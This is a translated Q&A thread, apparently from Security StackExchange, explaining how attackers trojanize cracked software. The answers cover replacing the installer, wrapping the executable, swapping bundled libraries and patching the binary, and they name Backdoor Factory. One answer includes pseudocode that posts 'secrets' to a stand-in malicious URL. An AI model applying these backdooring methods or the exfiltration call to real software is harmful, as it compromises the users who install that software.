我刚刚开始逆向工程和恶意软件分析。我想知道攻击者破解恶意软件后将恶意软件放入软件的整个过程是什么,特别是在不影响破解软件的功能的情况下?
发布于 2020-06-20 17:30:45
这是一个有点宽泛的问题,因为有很多不同的方法来做这件事,所以我只想提几个。
一个简单的方法是完全替换程序的安装程序。这样,安装程序就可以复制原始安装程序所做的工作,同时也可以执行恶意操作。这还具有通常以提升的权限运行的优点。
另一种简单的方法是围绕可执行文件编写一个包装器。当可执行文件启动时,恶意代码可以运行,现有应用程序可以并行启动。
如果程序附带DLL/SOs形式的库,则可以替换它们以包含恶意代码。
最后,可以修补可执行文件本身以包含恶意代码;请参阅后门工厂,它是一个自动化的工具。
发布于 2020-06-20 20:08:47
我假设您至少对编程的基本知识足够熟悉,可以理解以下伪代码,这些代码应该以最简单的方式说明这个概念:
function a(): int {
return 42;
}
function b(): int {
http.post("http://my.maliciousurl.com", "ALL_UR_SECRETZ");
return a();
}
如果您是调用此函数的一方,那么您能分辨出调用a
与在执行其他操作时调用a
的函数之间的区别吗?从技术上讲,您可以这样做,但您需要监视网络堆栈,或者认识到执行时间或其他方面的问题。对于您安装的应用程序,您多久这样做一次?
我们大多数人从来不这么做。即使是我们中那些对安全特别感兴趣的人。显然,恶意参与者不能总是在源代码中插入一个函数并重新编译,但是您可以在程序级别上做同样的事情,方法是在子subshell中启动真正的程序,并在执行自己的恶意操作时将其传输到STDOUT。同样,通过查看返回值*无法很容易地区分函数调用之间的区别,仅通过直接输出无法区分好的可执行文件和坏的可执行文件之间的区别。
是的,是的,Haskellers,你的类型系统告诉你区别。你得到了那颗金星。
https://security.stackexchange.com/questions/233553
复制相似问题